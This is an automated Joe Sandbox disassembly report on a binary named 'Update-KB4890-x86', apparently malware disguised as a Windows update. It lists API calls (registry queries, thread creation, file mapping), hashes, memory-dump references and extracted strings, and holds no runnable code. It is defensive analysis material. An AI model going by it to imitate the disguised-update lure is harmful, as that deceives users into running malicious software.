                                                                    • Instruction ID: 87167e95f2216398dbb744b78034f6cdc2098f1725ccaa65e6176ba6f2cbe2f0
                                                                    • Opcode Fuzzy Hash: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
                                                                    • Instruction Fuzzy Hash: F902F2351083908FC721CF28D8A1AE7BFE0AF96314F48965DE8D5473A2D375D849CB9A
                                                                    APIs
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0042A464
                                                                    • _strcat.LIBCMT ref: 0042A477
                                                                    • _strlen.LIBCMT ref: 0042A484
                                                                    • _strlen.LIBCMT ref: 0042A493
                                                                    • _strncpy.LIBCMT ref: 0042A4AA
                                                                    • _strlen.LIBCMT ref: 0042A4B3
                                                                    • _strlen.LIBCMT ref: 0042A4C0
                                                                    • _strcat.LIBCMT ref: 0042A4DE
                                                                    • _strlen.LIBCMT ref: 0042A526
                                                                    • GetStdHandle.KERNEL32(000000F4,0042EEC0,00000000,?,00000000,00000000,00000000,00000000), ref: 0042A531
                                                                    • WriteFile.KERNEL32(00000000), ref: 0042A538
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
                                                                    • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                                    • API String ID: 3601721357-4022980321
                                                                    • Opcode ID: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
                                                                    • Instruction ID: 74c76adfd133b4e9a18e4e1925237b71ce4d4ae5635836e3a3127bb511270d61
                                                                    • Opcode Fuzzy Hash: ce5f139c050410a4046e1cfe4d55637e7050fe717ca944e6fdfc0d3b7405f9c1
                                                                    • Instruction Fuzzy Hash: 763128327401246BD720BBB6BC86EAB73A8EB44308F94042FFD15D3152EA7C9595C72D
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,00000104,00000104), ref: 00408348
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: EnvironmentExpandStrings
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
                                                                    • API String ID: 237503144-1073058172
                                                                    • Opcode ID: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
                                                                    • Instruction ID: dca6d9ca4d919790161e68c6a6737a5004210cde6544d660ad85851be413fbda
                                                                    • Opcode Fuzzy Hash: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
                                                                    • Instruction Fuzzy Hash: 6C41DC1000C7C29DD312D73C955864FBFD15BE7228F488B9DF0E95B2E2D6698249C7A7
                                                                    APIs
                                                                    • RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,00000015,755683C0,00000000), ref: 004241EF
                                                                    • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0042420C
                                                                    • RegQueryValueExA.ADVAPI32(?,ServiceName,00000000,?,?,?), ref: 00424264
                                                                    • lstrcpyA.KERNEL32(?,00000000,?,00000008), ref: 004242C0
                                                                    • RegQueryValueExA.ADVAPI32(?,Description,00000000,?,?,?), ref: 004242E8
                                                                    • lstrcpyA.KERNEL32(?,?), ref: 00424349
                                                                    • RegQueryValueExA.ADVAPI32(?,Title,00000000,?,?,?), ref: 00424378
                                                                    • wsprintfA.USER32 ref: 004243AA
                                                                    • RegCloseKey.ADVAPI32(?), ref: 004243BD
                                                                    • RegCloseKey.ADVAPI32(?), ref: 004243CD
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: QueryValue$CloseOpenlstrcpy$wsprintf
                                                                    • String ID: Description$ServiceName$Title$[%d] %s
                                                                    • API String ID: 3166188874-1473919770
                                                                    • Opcode ID: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
                                                                    • Instruction ID: 50b48e229a94bbbaf40ab9f963702833861e6e57dc731b51fdf7295a7017bae1
                                                                    • Opcode Fuzzy Hash: 19b7f30f3d2a41f17fe764a6f9fad9a6bbe25cb027da63ad8d5f2e9f9482e0bf
                                                                    • Instruction Fuzzy Hash: 0CE123205087CEDDDF22CB7C98486CD7F955B27328F484389F9E45A2E2C3A9854AC776
                                                                    APIs
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,0042E7A0,00000118,0042485B,00000001,00000000,0042E4C0,00000008,0042A54F,00000000,00000000,00000000), ref: 00426582
                                                                    • _strcat.LIBCMT ref: 00426598
                                                                    • _strlen.LIBCMT ref: 004265A8
                                                                    • _strlen.LIBCMT ref: 004265B9
                                                                    • _strncpy.LIBCMT ref: 004265D3
                                                                    • _strlen.LIBCMT ref: 004265DC
                                                                    • _strcat.LIBCMT ref: 004265F8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: _strlen$_strcat$FileModuleName_strncpy
                                                                    • String ID: ...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!$B
                                                                    • API String ID: 3058806289-85196374
                                                                    • Opcode ID: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
                                                                    • Instruction ID: 89b9faee52e55a897ce7ba6d50dd28e9919cf87c3f188bd51213c475bd47c2d4
                                                                    • Opcode Fuzzy Hash: e85ed9134b3ae6f9a248eff3a8fb49e701f2d1d72a83a6c7e4bd4b035122a1bd
                                                                    • Instruction Fuzzy Hash: C331C732B012347BD715ABA6BC42FDE37689F09318FD4045BF904A6282DB7CDA918B5D
                                                                    APIs
                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,75570A60,00000000,00425E71,?,0042E598,00000060), ref: 00427138
                                                                    • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00427150
                                                                    • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0042715D
                                                                    • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0042716A
                                                                    • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00427177
                                                                    • FlsAlloc.KERNEL32(00426FD9,?,0042E598,00000060), ref: 004271B4
                                                                    • FlsSetValue.KERNEL32(00000000,?,0042E598,00000060), ref: 004271E1
                                                                    • GetCurrentThreadId.KERNEL32 ref: 004271F5
                                                                      • Part of subcall function 00426F4B: FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
                                                                      • Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
                                                                      • Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
                                                                    • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$kernel32.dll
                                                                    • API String ID: 2635119114-282957996
                                                                    • Opcode ID: b87ad60a131d164c28d5f70f0fad35323593ccf2417c63438c26ed16432ab973
                                                                    • Instruction ID: 86349d13d9d697d1a2059cccb8833edb385c7957e5e4b5f87f3c94e81b02547f
                                                                    • Opcode Fuzzy Hash: b87ad60a131d164c28d5f70f0fad35323593ccf2417c63438c26ed16432ab973
                                                                    • Instruction Fuzzy Hash: 1B2180707042619AD724AF37BE09A667FB5EB467103A1113BF644C32A0DBB8840ACF6C
                                                                    APIs
                                                                    • lstrlenA.KERNEL32(?,-00000023,?,00000023), ref: 0041B170
                                                                    • lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041B284
                                                                      • Part of subcall function 0041AD70: lstrlenA.KERNEL32 ref: 0041ADCA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen
                                                                    • String ID: ($*$0$F$I$Y$[$b$n$p$r$x
                                                                    • API String ID: 1659193697-2061847989
                                                                    • Opcode ID: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
                                                                    • Instruction ID: 2df139c3096c9c4d925bdfeecfd17c6d27e21bb7b6dfed262cfb59e6470ea8b3
                                                                    • Opcode Fuzzy Hash: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
                                                                    • Instruction Fuzzy Hash: 76A13A2110C7C28AC322DA3C589859FBFD55EA7228F480B9EF0E5472E2C7558549C7AB
                                                                    APIs
                                                                      • Part of subcall function 00401000: ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
                                                                      • Part of subcall function 00401000: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB
                                                                    • CreateThread.KERNEL32(00000000,00000000,004158B0,?,00000000,?), ref: 00401292
                                                                    • CreateThread.KERNEL32(00000000,00000000,00406580,?,00000000,?), ref: 004012AC
                                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004012BA
                                                                    • CreateThread.KERNEL32(00000000,00000000,0041C0F0,?,00000000,?), ref: 004012E0
                                                                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 004012FF
                                                                    • CreateThread.KERNEL32(00000000,00000000,0040BB70,?,00000000,?), ref: 00401324
                                                                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 0040133F
                                                                    • CloseHandle.KERNEL32(?), ref: 00401348
                                                                    • SetEvent.KERNEL32(?), ref: 0040135A
                                                                    • WaitForSingleObject.KERNEL32(00000001,000000FF,00000000,00000000,00000001), ref: 00401388
                                                                    • CloseHandle.KERNEL32(00000001), ref: 0040138F
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004013A0
                                                                    • CloseHandle.KERNEL32(?), ref: 004013AB
                                                                    • SetEvent.KERNEL32 ref: 004013B0
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Create$ThreadWait$CloseEventHandle$MultipleObjectObjectsSingle$EnvironmentExpandFileStrings
                                                                    • String ID:
                                                                    • API String ID: 94205885-0
                                                                    • Opcode ID: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
                                                                    • Instruction ID: 109f3496b703d5c848b0bbf75510f44b12918ce008f531d148e58f88355e5c24
                                                                    • Opcode Fuzzy Hash: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
                                                                    • Instruction Fuzzy Hash: 8E414F71244301AFE320DB65CC86F7BB3E8ABC8B14F504A2DF695A72D0DA74E8458B59
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(user32.dll,0042E5E8,?,?), ref: 0042ADE9
                                                                    • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0042AE05
                                                                    • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0042AE16
                                                                    • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0042AE23
                                                                    • GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 0042AE39
                                                                    • GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0042AE4A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$LibraryLoad
                                                                    • String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
                                                                    • API String ID: 2238633743-1612076079
                                                                    • Opcode ID: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
                                                                    • Instruction ID: 70b5fa524dff6b7417458b24b0bac14766b51569b5ba9c55d5771b2b321c63c1
                                                                    • Opcode Fuzzy Hash: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
                                                                    • Instruction Fuzzy Hash: 6B21A730740326ABDB119F75BE84B6B3BE8AB04740B51143BED01D6190D7BCC81ADB6E
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,75568A60,00406532,?, :\,?,?,?), ref: 00406275
                                                                    • CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00406292
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040629F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CreateFile$CloseHandleMapping
                                                                    • String ID:
                                                                    • API String ID: 2353530451-0
                                                                    • Opcode ID: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
                                                                    • Instruction ID: b1713de03d30712edf461a6f0e0af24326c7c5dfdbc2b318762e316791e25a2b
                                                                    • Opcode Fuzzy Hash: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
                                                                    • Instruction Fuzzy Hash: 7A21F4313892246AF230673ABC49FDB3B988B86730F511036F750E22E1DAB46806966D
                                                                    APIs
                                                                    • LCMapStringW.KERNEL32(00000000,00000100,0042EB1C,00000001,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A04E
                                                                    • GetLastError.KERNEL32 ref: 0042A060
                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,0042B335,?,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A0E7
                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,0042B335,?,?,00000000), ref: 0042A168
                                                                    • LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0042A182
                                                                    • LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 0042A1BD
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: String$ByteCharMultiWide$ErrorLast
                                                                    • String ID:
                                                                    • API String ID: 1775797328-0
                                                                    • Opcode ID: 4aa49757b57a5304e3d7957d6244e3b008b81b7b30d59c19cfa7548b89e7cf8c
                                                                    • Instruction ID: 3988559e70c465a35b60d6fc3080959d3b10041c74b9751cd7113821b118c49c
                                                                    • Opcode Fuzzy Hash: 4aa49757b57a5304e3d7957d6244e3b008b81b7b30d59c19cfa7548b89e7cf8c
                                                                    • Instruction Fuzzy Hash: 5FB18472A00129EFCF219FA1EC849EE7B75FF08354F54412AFD11A2260D7398D61DB6A
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,75572EE0,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
                                                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0041DF95
                                                                    • GetProcessHeap.KERNEL32(00000008,00000000,00000000), ref: 0041DFAB
